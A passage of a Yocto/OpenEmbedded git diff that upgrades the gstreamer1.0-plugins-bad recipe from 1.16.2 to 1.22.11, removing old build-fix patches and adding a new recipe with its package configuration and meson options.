+ gstopencv_cargs += ['-DOPENCV_PREFIX="' + opencv_prefix + '"']
+
++ pkgconf_sysroot = run_command(python3, '-c', 'import os; print(os.environ.get("PKG_CONFIG_SYSROOT_DIR"))').stdout().strip()
++ opencv_prefix = pkgconf_sysroot + opencv_prefix
++
+ # Check the data dir used by opencv for its xml data files
+ # Use prefix from pkg-config to be compatible with cross-compilation
+ r = run_command('test', '-d', opencv_prefix + '/share/opencv', check: false)
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch
deleted file mode 100644
index 32261279a5..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 72561a0fca562d03567ace7b4cfc94992cd6525c Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Wed, 3 Feb 2016 18:05:41 -0800
-Subject: [PATCH] avoid including <sys/poll.h> directly
-
-musl libc generates warnings if <sys/poll.h> is included directly.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- sys/dvb/gstdvbsrc.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sys/dvb/gstdvbsrc.c b/sys/dvb/gstdvbsrc.c
-index b93255f..49f145a 100644
---- a/sys/dvb/gstdvbsrc.c
-+++ b/sys/dvb/gstdvbsrc.c
-@@ -97,7 +97,7 @@
- #include <gst/gst.h>
- #include <gst/glib-compat-private.h>
- #include <sys/ioctl.h>
--#include <sys/poll.h>
-+#include <poll.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <stdio.h>
---
-1.9.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch
deleted file mode 100644
index 2d5389d953..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch
+++ /dev/null
@@ -1,85 +0,0 @@
-From 2262ba4b686d5cc0d3e894707fe1d31619a3a8f1 Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 9 Feb 2016 14:00:00 -0800
-Subject: [PATCH] ensure valid sentinals for gst_structure_get() etc
-
-For GStreamer functions declared with G_GNUC_NULL_TERMINATED,
-ie __attribute__((__sentinel__)), gcc will generate a warning if the
-last parameter passed to the function is not NULL (where a valid NULL
-in this context is defined as zero with any pointer type).
-
-The C callers to such functions within gst-plugins-bad use the C NULL
-definition (ie ((void*)0)), which is a valid sentinel.
-
-However the C++ NULL definition (ie 0L), is not a valid sentinel
-without an explicit cast to a pointer type.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- sys/decklink/gstdecklink.cpp | 10 +++++-----
- sys/decklink/gstdecklinkaudiosrc.cpp | 2 +-
- sys/decklink/gstdecklinkvideosink.cpp | 2 +-
- 3 files changed, 7 insertions(+), 7 deletions(-)
-
-Index: gst-plugins-bad-1.10.2/sys/decklink/gstdecklink.cpp
-===================================================================
---- gst-plugins-bad-1.10.2.orig/sys/decklink/gstdecklink.cpp
-+++ gst-plugins-bad-1.10.2/sys/decklink/gstdecklink.cpp
-@@ -617,7 +617,7 @@ gst_decklink_mode_get_structure (GstDeck
- "pixel-aspect-ratio", GST_TYPE_FRACTION, mode->par_n, mode->par_d,
- "interlace-mode", G_TYPE_STRING,
- mode->interlaced ? "interleaved" : "progressive",
-- "framerate", GST_TYPE_FRACTION, mode->fps_n, mode->fps_d, NULL);
-+ "framerate", GST_TYPE_FRACTION, mode->fps_n, mode->fps_d, (void*)NULL);
-
- if (input && mode->interlaced) {
- if (mode->tff)
-@@ -632,16 +632,16 @@ gst_decklink_mode_get_structure (GstDeck
- case bmdFormat8BitYUV: /* '2vuy' */
- gst_structure_set (s, "format", G_TYPE_STRING, "UYVY",
- "colorimetry", G_TYPE_STRING, mode->colorimetry,
-- "chroma-site", G_TYPE_STRING, "mpeg2", NULL);
-+ "chroma-site", G_TYPE_STRING, "mpeg2", (void*)NULL);
- break;
- case bmdFormat10BitYUV: /* 'v210' */
-- gst_structure_set (s, "format", G_TYPE_STRING, "v210", NULL);
-+ gst_structure_set (s, "format", G_TYPE_STRING, "v210", (void*)NULL);
- break;
- case bmdFormat8BitARGB: /* 'ARGB' */
-- gst_structure_set (s, "format", G_TYPE_STRING, "ARGB", NULL);
-+ gst_structure_set (s, "format", G_TYPE_STRING, "ARGB", (void*)NULL);
- break;
- case bmdFormat8BitBGRA: /* 'BGRA' */
-- gst_structure_set (s, "format", G_TYPE_STRING, "BGRA", NULL);
-+ gst_structure_set (s, "format", G_TYPE_STRING, "BGRA", (void*)NULL);
- break;
- case bmdFormat10BitRGB: /* 'r210' Big-endian RGB 10-bit per component with SMPTE video levels (64-960). Packed as 2:10:10:10 */
- case bmdFormat12BitRGB: /* 'R12B' Big-endian RGB 12-bit per component with full range (0-4095). Packed as 12-bit per component */
-Index: gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkaudiosrc.cpp
-===================================================================
---- gst-plugins-bad-1.10.2.orig/sys/decklink/gstdecklinkaudiosrc.cpp
-+++ gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkaudiosrc.cpp
-@@ -387,7 +387,7 @@ gst_decklink_audio_src_set_caps (GstBase
- g_mutex_unlock (&self->input->lock);
-
- if (videosrc) {
-- g_object_get (videosrc, "connection", &vconn, NULL);
-+ g_object_get (videosrc, "connection", &vconn, (void *) NULL);
- gst_object_unref (videosrc);
-
- switch (vconn) {
-Index: gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkvideosink.cpp
-===================================================================
---- gst-plugins-bad-1.10.2.orig/sys/decklink/gstdecklinkvideosink.cpp
-+++ gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkvideosink.cpp
-@@ -285,7 +285,7 @@ reset_framerate (GstCapsFeatures * featu
- gpointer user_data)
- {
- gst_structure_set (structure, "framerate", GST_TYPE_FRACTION_RANGE, 0, 1,
-- G_MAXINT, 1, NULL);
-+ G_MAXINT, 1, (void *) NULL);
-
- return TRUE;
- }
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch
deleted file mode 100644
index 73681f1002..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From a67781000e82bd9ae3813da29401e8c0c852328a Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 26 Jan 2016 15:16:01 -0800
-Subject: [PATCH] fix maybe-uninitialized warnings when compiling with -Os
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- gst-libs/gst/codecparsers/gstvc1parser.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gst-libs/gst/codecparsers/gstvc1parser.c b/gst-libs/gst/codecparsers/gstvc1parser.c
-index fd16ee0..ddb890c 100644
---- a/gst-libs/gst/codecparsers/gstvc1parser.c
-+++ b/gst-libs/gst/codecparsers/gstvc1parser.c
-@@ -1730,7 +1730,7 @@ gst_vc1_parse_sequence_layer (const guint8 * data, gsize size,
- GstVC1SeqLayer * seqlayer)
- {
- guint32 tmp;
-- guint8 tmp8;
-+ guint8 tmp8 = 0;
- guint8 structA[8] = { 0, };
- guint8 structB[12] = { 0, };
- GstBitReader br;
---
-1.9.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch
deleted file mode 100644
index 4b6591c0d8..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From f41caae14b618ab815ede3c408e7482b00316e3e Mon Sep 17 00:00:00 2001
-From: Andrey Zhizhikin <andrey.z@gmail.com>
-Date: Mon, 27 Jan 2020 10:22:35 +0000
-Subject: [PATCH] opencv: resolve missing opencv data dir in yocto build
-
-When Yocto build is performed, opencv searches for data dir using simple
-'test' command, this fails because pkg-config provides an absolute
-path on the target which needs to be prepended by PKG_CONFIG_SYSROOT_DIR
-in order for the 'test' utility to pick up the absolute path.
-
-Upstream-Status: Inappropriate [OE-specific]
-
-Signed-off-by: Andrey Zhizhikin <andrey.z@gmail.com>
----
- ext/opencv/meson.build | 7 ++++---
- 1 file changed, 4 insertions(+), 3 deletions(-)
-
-diff --git a/ext/opencv/meson.build b/ext/opencv/meson.build
-index f38b55dfe..a26403482 100644
---- a/ext/opencv/meson.build
-+++ b/ext/opencv/meson.build
-@@ -78,20 +78,21 @@ else
- endif
-
- if opencv_found
-+ pkgconf_sysroot = run_command(python3, '-c', 'import os; print(os.environ.get("PKG_CONFIG_SYSROOT_DIR"))').stdout().strip()
- opencv_prefix = opencv_dep.get_pkgconfig_variable('prefix')
- gstopencv_cargs += ['-DOPENCV_PREFIX="' + opencv_prefix + '"']
-
- # Check the data dir used by opencv for its xml data files
- # Use prefix from pkg-config to be compatible with cross-compilation
-- r = run_command('test', '-d', opencv_prefix + '/share/opencv')
-+ r = run_command('test', '-d', pkgconf_sysroot + opencv_prefix + '/share/opencv')
- if r.returncode() == 0
- gstopencv_cargs += '-DOPENCV_PATH_NAME="opencv"'
- else
-- r = run_command('test', '-d', opencv_prefix + '/share/OpenCV')
-+ r = run_command('test', '-d', pkgconf_sysroot + opencv_prefix + '/share/OpenCV')
- if r.returncode() == 0
- gstopencv_cargs += '-DOPENCV_PATH_NAME="OpenCV"'
- else
-- r = run_command('test', '-d', opencv_prefix + '/share/opencv4')
-+ r = run_command('test', '-d', pkgconf_sysroot + opencv_prefix + '/share/opencv4')
- if r.returncode() == 0
- gstopencv_cargs += '-DOPENCV_PATH_NAME="opencv4"'
- else
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.2.bb
deleted file mode 100644
index 99176b2571..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.2.bb
+++ /dev/null
@@ -1,147 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${PV}.tar.xz \
- file://0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch \
- file://fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch \
- file://avoid-including-sys-poll.h-directly.patch \
- file://ensure-valid-sentinels-for-gst_structure_get-etc.patch \
- file://opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch \
-"
-SRC_URI[md5sum] = "ccc7404230afddec723bbdb63c89feec"
-SRC_URI[sha256sum] = "f1cb7aa2389569a5343661aae473f0a940a90b872001824bc47fa8072a041e74"
-
-S = "${WORKDIR}/gst-plugins-bad-${PV}"
-
-LICENSE = "GPLv2+ & LGPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=73a5855a8119deb017f5f13cf327095d \
- file://COPYING.LIB;md5=21682e4e8fea52413fd26c60acb907e5 "
-
-DEPENDS += "gstreamer1.0-plugins-base"
-
-inherit gobject-introspection
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'directfb vulkan', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gl', '', d)} \
- bz2 closedcaption curl dash dtls hls rsvg sbc smoothstreaming sndfile \
- ttml uvch264 webp \
-"
-
-PACKAGECONFIG[assrender] = "-Dassrender=enabled,-Dassrender=disabled,libass"
-PACKAGECONFIG[bluez] = "-Dbluez=enabled,-Dbluez=disabled,bluez5"
-PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
-PACKAGECONFIG[closedcaption] = "-Dclosedcaption=enabled,-Dclosedcaption=disabled,pango cairo"
-PACKAGECONFIG[curl] = "-Dcurl=enabled,-Dcurl=disabled,curl"
-PACKAGECONFIG[dash] = "-Ddash=enabled,-Ddash=disabled,libxml2"
-PACKAGECONFIG[dc1394] = "-Ddc1394=enabled,-Ddc1394=disabled,libdc1394"
-PACKAGECONFIG[directfb] = "-Ddirectfb=enabled,-Ddirectfb=disabled,directfb"
-PACKAGECONFIG[dtls] = "-Ddtls=enabled,-Ddtls=disabled,openssl"
-PACKAGECONFIG[faac] = "-Dfaac=enabled,-Dfaac=disabled,faac"
-PACKAGECONFIG[faad] = "-Dfaad=enabled,-Dfaad=disabled,faad2"
-PACKAGECONFIG[fluidsynth] = "-Dfluidsynth=enabled,-Dfluidsynth=disabled,fluidsynth"
-PACKAGECONFIG[hls] = "-Dhls=enabled -Dhls-crypto=nettle,-Dhls=disabled,nettle"
-# the gl packageconfig enables OpenGL elements that haven't been ported
-# to -base yet. They depend on the gstgl library in -base, so we do
-# not add GL dependencies here, since these are taken care of in -base.
-PACKAGECONFIG[gl] = "-Dgl=enabled,-Dgl=disabled,"
-PACKAGECONFIG[kms] = "-Dkms=enabled,-Dkms=disabled,libdrm"
-PACKAGECONFIG[libde265] = "-Dlibde265=enabled,-Dlibde265=disabled,libde265"
-PACKAGECONFIG[libmms] = "-Dlibmms=enabled,-Dlibmms=disabled,libmms"
-PACKAGECONFIG[libssh2] = "-Dcurl-ssh2=enabled,-Dcurl-ssh2=disabled,libssh2"
-PACKAGECONFIG[lcms2] = "-Dcolormanagement=enabled,-Dcolormanagement=disabled,lcms"
-PACKAGECONFIG[modplug] = "-Dmodplug=enabled,-Dmodplug=disabled,libmodplug"
-PACKAGECONFIG[msdk] = "-Dmsdk=enabled,-Dmsdk=disabled,intel-mediasdk"
-PACKAGECONFIG[neon] = "-Dneon=enabled,-Dneon=disabled,neon"
-PACKAGECONFIG[openal] = "-Dopenal=enabled,-Dopenal=disabled,openal-soft"
-PACKAGECONFIG[opencv] = "-Dopencv=enabled,-Dopencv=disabled,opencv"
-PACKAGECONFIG[openh264] = "-Dopenh264=enabled,-Dopenh264=disabled,openh264"
-PACKAGECONFIG[openjpeg] = "-Dopenjpeg=enabled,-Dopenjpeg=disabled,openjpeg"
-PACKAGECONFIG[openmpt] = "-Dopenmpt=enabled,-Dopenmpt=disabled,libopenmpt"
-# the opus encoder/decoder elements are now in the -base package,
-# but the opus parser remains in -bad
-PACKAGECONFIG[opusparse] = "-Dopus=enabled,-Dopus=disabled,libopus"
-PACKAGECONFIG[resindvd] = "-Dresindvd=enabled,-Dresindvd=disabled,libdvdread libdvdnav"
-PACKAGECONFIG[rsvg] = "-Drsvg=enabled,-Drsvg=disabled,librsvg"
-PACKAGECONFIG[rtmp] = "-Drtmp=enabled,-Drtmp=disabled,rtmpdump"
-PACKAGECONFIG[sbc] = "-Dsbc=enabled,-Dsbc=disabled,sbc"
-PACKAGECONFIG[sctp] = "-Dsctp=enabled,-Dsctp=disabled,usrsctp"
-PACKAGECONFIG[smoothstreaming] = "-Dsmoothstreaming=enabled,-Dsmoothstreaming=disabled,libxml2"
-PACKAGECONFIG[sndfile] = "-Dsndfile=enabled,-Dsndfile=disabled,libsndfile1"
-PACKAGECONFIG[srtp] = "-Dsrtp=enabled,-Dsrtp=disabled,libsrtp"
-PACKAGECONFIG[tinyalsa] = "-Dtinyalsa=enabled,-Dtinyalsa=disabled,tinyalsa"
-PACKAGECONFIG[ttml] = "-Dttml=enabled,-Dttml=disabled,libxml2 pango cairo"
-PACKAGECONFIG[uvch264] = "-Duvch264=enabled,-Duvch264=disabled,libusb1 libgudev"
-PACKAGECONFIG[vdpau] = "-Dvdpau=enabled,-Dvdpau=disabled,libvdpau"
-PACKAGECONFIG[voaacenc] = "-Dvoaacenc=enabled,-Dvoaacenc=disabled,vo-aacenc"
-PACKAGECONFIG[voamrwbenc] = "-Dvoamrwbenc=enabled,-Dvoamrwbenc=disabled,vo-amrwbenc"
-PACKAGECONFIG[vulkan] = "-Dvulkan=enabled,-Dvulkan=disabled,vulkan-loader"
-PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,wayland-native wayland wayland-protocols libdrm"
-PACKAGECONFIG[webp] = "-Dwebp=enabled,-Dwebp=disabled,libwebp"
-PACKAGECONFIG[webrtc] = "-Dwebrtc=enabled,-Dwebrtc=disabled,libnice"
-PACKAGECONFIG[webrtcdsp] = "-Dwebrtcdsp=enabled,-Dwebrtcdsp=disabled,webrtc-audio-processing"
-PACKAGECONFIG[zbar] = "-Dzbar=enabled,-Dzbar=disabled,zbar"
-
-# these plugins currently have no corresponding library in OE-core or meta-openembedded:
-# aom androidmedia applemedia bs2b chromaprint d3dvideosink
-# directsound dts fdkaac gme gsm iq kate ladspa lv2 mpeg2enc
-# mplex musepack nvdec nvenc ofa openexr openni2 opensles
-# soundtouch spandsp srt teletext wasapi wildmidi winks
-# winscreencap wpe x265
-
-EXTRA_OEMESON += " \
- -Ddecklink=enabled \
- -Ddvb=enabled \
- -Dfbdev=enabled \
- -Dipcpipeline=enabled \
- -Dnetsim=enabled \
- -Dshm=enabled \
- -Daom=disabled \
- -Dandroidmedia=disabled \
- -Dapplemedia=disabled \
- -Dbs2b=disabled \
- -Dchromaprint=disabled \
- -Dd3dvideosink=disabled \
- -Ddirectsound=disabled \
- -Ddts=disabled \
- -Dfdkaac=disabled \
- -Dflite=disabled \
- -Dgme=disabled \
- -Dgsm=disabled \
- -Diqa=disabled \
- -Dkate=disabled \
- -Dladspa=disabled \
- -Dlv2=disabled \
- -Dmpeg2enc=disabled \
- -Dmplex=disabled \
- -Dmusepack=disabled \
- -Dnvdec=disabled \
- -Dnvenc=disabled \
- -Dofa=disabled \
- -Dopenexr=disabled \
- -Dopenni2=disabled \
- -Dopensles=disabled \
- -Dsoundtouch=disabled \
- -Dspandsp=disabled \
- -Dsrt=disabled \
- -Dteletext=disabled \
- -Dwasapi=disabled \
- -Dwildmidi=disabled \
- -Dwinks=disabled \
- -Dwinscreencap=disabled \
- -Dwpe=disabled \
- -Dx265=disabled \
- ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-Dyadif=disabled", "", d)} \
-"
-
-export OPENCV_PREFIX = "${STAGING_DIR_TARGET}${prefix}"
-
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-FILES_${PN}-freeverb += "${datadir}/gstreamer-1.0/presets/GstFreeverb.prs"
-FILES_${PN}-opencv += "${datadir}/gst-plugins-bad/1.0/opencv*"
-FILES_${PN}-voamrwbenc += "${datadir}/gstreamer-1.0/presets/GstVoAmrwbEnc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.11.bb
new file mode 100644
index 0000000000..523ee7a5ae
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.11.bb
@@ -0,0 +1,165 @@
+require gstreamer1.0-plugins-common.inc
+require gstreamer1.0-plugins-license.inc
+
+SUMMARY = "'Bad' GStreamer plugins and helper libraries "
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-bad/-/issues"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${PV}.tar.xz \
+ file://0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch \
+ file://0002-avoid-including-sys-poll.h-directly.patch \
+ file://0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch \
+ "
+SRC_URI[sha256sum] = "808d3b33fc4c71aeb2561c364a87c2e8a3e2343319a83244c8391be4b09499c8"
+
+S = "${WORKDIR}/gst-plugins-bad-${PV}"
+
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS += "gstreamer1.0-plugins-base"
+
+inherit gobject-introspection
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'directfb vulkan x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gl', '', d)} \
+ bz2 closedcaption curl dash dtls hls openssl sbc smoothstreaming \
+ sndfile ttml uvch264 webp \
+ ${@bb.utils.contains('TUNE_FEATURES', 'mx32', '', 'rsvg', d)} \
+"
+
+PACKAGECONFIG[aom] = "-Daom=enabled,-Daom=disabled,aom"
+PACKAGECONFIG[assrender] = "-Dassrender=enabled,-Dassrender=disabled,libass"
+PACKAGECONFIG[avtp] = "-Davtp=enabled,-Davtp=disabled,libavtp"
+PACKAGECONFIG[bluez] = "-Dbluez=enabled,-Dbluez=disabled,bluez5"
+PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
+PACKAGECONFIG[closedcaption] = "-Dclosedcaption=enabled,-Dclosedcaption=disabled,pango cairo"
+PACKAGECONFIG[curl] = "-Dcurl=enabled,-Dcurl=disabled,curl"
+PACKAGECONFIG[dash] = "-Ddash=enabled,-Ddash=disabled,libxml2"
+PACKAGECONFIG[dc1394] = "-Ddc1394=enabled,-Ddc1394=disabled,libdc1394"
+PACKAGECONFIG[directfb] = "-Ddirectfb=enabled,-Ddirectfb=disabled,directfb"
+PACKAGECONFIG[dtls] = "-Ddtls=enabled,-Ddtls=disabled,openssl"
+PACKAGECONFIG[faac] = "-Dfaac=enabled,-Dfaac=disabled,faac"
+PACKAGECONFIG[faad] = "-Dfaad=enabled,-Dfaad=disabled,faad2"
+PACKAGECONFIG[fluidsynth] = "-Dfluidsynth=enabled,-Dfluidsynth=disabled,fluidsynth"
+PACKAGECONFIG[hls] = "-Dhls=enabled,-Dhls=disabled,"
+# Pick atleast one crypto backend below when enabling hls
+PACKAGECONFIG[nettle] = "-Dhls-crypto=nettle,,nettle"
+PACKAGECONFIG[openssl] = "-Dhls-crypto=openssl,,openssl"
+PACKAGECONFIG[gcrypt] = "-Dhls-crypto=libgcrypt,,libgcrypt"
+# the gl packageconfig enables OpenGL elements that haven't been ported
+# to -base yet. They depend on the gstgl library in -base, so we do
+# not add GL dependencies here, since these are taken care of in -base.
+PACKAGECONFIG[gl] = "-Dgl=enabled,-Dgl=disabled,"
+PACKAGECONFIG[kms] = "-Dkms=enabled,-Dkms=disabled,libdrm"
+PACKAGECONFIG[libde265] = "-Dlibde265=enabled,-Dlibde265=disabled,libde265"
+PACKAGECONFIG[libssh2] = "-Dcurl-ssh2=enabled,-Dcurl-ssh2=disabled,libssh2"
+PACKAGECONFIG[lcms2] = "-Dcolormanagement=enabled,-Dcolormanagement=disabled,lcms"
+PACKAGECONFIG[modplug] = "-Dmodplug=enabled,-Dmodplug=disabled,libmodplug"
+PACKAGECONFIG[msdk] = "-Dmsdk=enabled -Dmfx_api=oneVPL,-Dmsdk=disabled,onevpl-intel-gpu"
+PACKAGECONFIG[neon] = "-Dneon=enabled,-Dneon=disabled,neon"
+PACKAGECONFIG[openal] = "-Dopenal=enabled,-Dopenal=disabled,openal-soft"
+PACKAGECONFIG[opencv] = "-Dopencv=enabled,-Dopencv=disabled,opencv"
+PACKAGECONFIG[openh264] = "-Dopenh264=enabled,-Dopenh264=disabled,openh264"
+PACKAGECONFIG[openjpeg] = "-Dopenjpeg=enabled,-Dopenjpeg=disabled,openjpeg"
+PACKAGECONFIG[openmpt] = "-Dopenmpt=enabled,-Dopenmpt=disabled,libopenmpt"
+# the opus encoder/decoder elements are now in the -base package,
+# but the opus parser remains in -bad
+PACKAGECONFIG[opusparse] = "-Dopus=enabled,-Dopus=disabled,libopus"
+PACKAGECONFIG[resindvd] = "-Dresindvd=enabled,-Dresindvd=disabled,libdvdread libdvdnav"
+PACKAGECONFIG[rsvg] = "-Drsvg=enabled,-Drsvg=disabled,librsvg"
+PACKAGECONFIG[rtmp] = "-Drtmp=enabled,-Drtmp=disabled,rtmpdump"
+PACKAGECONFIG[sbc] = "-Dsbc=enabled,-Dsbc=disabled,sbc"
+PACKAGECONFIG[sctp] = "-Dsctp=enabled,-Dsctp=disabled"
+PACKAGECONFIG[smoothstreaming] = "-Dsmoothstreaming=enabled,-Dsmoothstreaming=disabled,libxml2"
+PACKAGECONFIG[sndfile] = "-Dsndfile=enabled,-Dsndfile=disabled,libsndfile1"
+PACKAGECONFIG[srt] = "-Dsrt=enabled,-Dsrt=disabled,srt"
+PACKAGECONFIG[srtp] = "-Dsrtp=enabled,-Dsrtp=disabled,libsrtp"
+PACKAGECONFIG[tinyalsa] = "-Dtinyalsa=enabled,-Dtinyalsa=disabled,tinyalsa"
+PACKAGECONFIG[ttml] = "-Dttml=enabled,-Dttml=disabled,libxml2 pango cairo"
+PACKAGECONFIG[uvch264] = "-Duvch264=enabled,-Duvch264=disabled,libusb1 libgudev"
+# this enables support for stateless V4L2 mem2mem codecs, which is a newer form of
+# V4L2 codec; the V4L2 code in -base supports the older stateful V4L2 mem2mem codecs
+PACKAGECONFIG[v4l2codecs] = "-Dv4l2codecs=enabled,-Dv4l2codecs=disabled,libgudev"
+PACKAGECONFIG[va] = "-Dva=enabled,-Dva=disabled,libva"
+PACKAGECONFIG[voaacenc] = "-Dvoaacenc=enabled,-Dvoaacenc=disabled,vo-aacenc"
+PACKAGECONFIG[voamrwbenc] = "-Dvoamrwbenc=enabled,-Dvoamrwbenc=disabled,vo-amrwbenc"
+PACKAGECONFIG[vulkan] = "-Dvulkan=enabled,-Dvulkan=disabled,vulkan-loader shaderc-native"
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,wayland-native wayland wayland-protocols libdrm"
+PACKAGECONFIG[webp] = "-Dwebp=enabled,-Dwebp=disabled,libwebp"
+PACKAGECONFIG[webrtc] = "-Dwebrtc=enabled,-Dwebrtc=disabled,libnice"
+PACKAGECONFIG[webrtcdsp] = "-Dwebrtcdsp=enabled,-Dwebrtcdsp=disabled,webrtc-audio-processing"
+PACKAGECONFIG[zbar] = "-Dzbar=enabled,-Dzbar=disabled,zbar"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,libxcb libxkbcommon"
+PACKAGECONFIG[x265] = "-Dx265=enabled,-Dx265=disabled,x265"
+
+GSTREAMER_GPL = "${@bb.utils.filter('PACKAGECONFIG', 'faad resindvd x265', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Daes=enabled \
+ -Dcodecalpha=enabled \
+ -Ddecklink=enabled \
+ -Ddvb=enabled \
+ -Dfbdev=enabled \
+ -Dipcpipeline=enabled \
+ -Dshm=enabled \
+ -Dtranscode=enabled \
+ -Dandroidmedia=disabled \
+ -Dapplemedia=disabled \
+ -Dasio=disabled \
+ -Dbs2b=disabled \
+ -Dchromaprint=disabled \
+ -Dd3dvideosink=disabled \
+ -Dd3d11=disabled \
+ -Ddirectsound=disabled \
+ -Ddts=disabled \
+ -Dfdkaac=disabled \
+ -Dflite=disabled \
+ -Dgme=disabled \
+ -Dgs=disabled \
+ -Dgsm=disabled \
+ -Diqa=disabled \
+ -Dkate=disabled \
+ -Dladspa=disabled \
+ -Dldac=disabled \
+ -Dlv2=disabled \
+ -Dmagicleap=disabled \
+ -Dmediafoundation=disabled \
+ -Dmicrodns=disabled \
+ -Dmpeg2enc=disabled \
+ -Dmplex=disabled \
+ -Dmusepack=disabled \
+ -Dnvcodec=disabled \
+ -Dopenexr=disabled \
+ -Dopenni2=disabled \
+ -Dopenaptx=disabled \
+ -Dopensles=disabled \
+ -Donnx=disabled \
+ -Dqroverlay=disabled \
+ -Dsoundtouch=disabled \
+ -Dspandsp=disabled \
+ -Dsvthevcenc=disabled \
+ -Dteletext=disabled \
+ -Dwasapi=disabled \
+ -Dwasapi2=disabled \
+ -Dwildmidi=disabled \
+ -Dwinks=disabled \
+ -Dwinscreencap=disabled \
+ -Dwpe=disabled \
+ -Dzxing=disabled \
+"
+
+export OPENCV_PREFIX = "${STAGING_DIR_TARGET}${prefix}"
+
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+FILES:${PN}-freeverb += "${datadir}/gstreamer-1.0/presets/GstFreeverb.prs"
+FILES:${PN}-opencv += "${datadir}/gst-plugins-bad/1.0/opencv*"
+FILES:${PN}-transcode += "${datadir}/gstreamer-1.0/encoding-profiles"
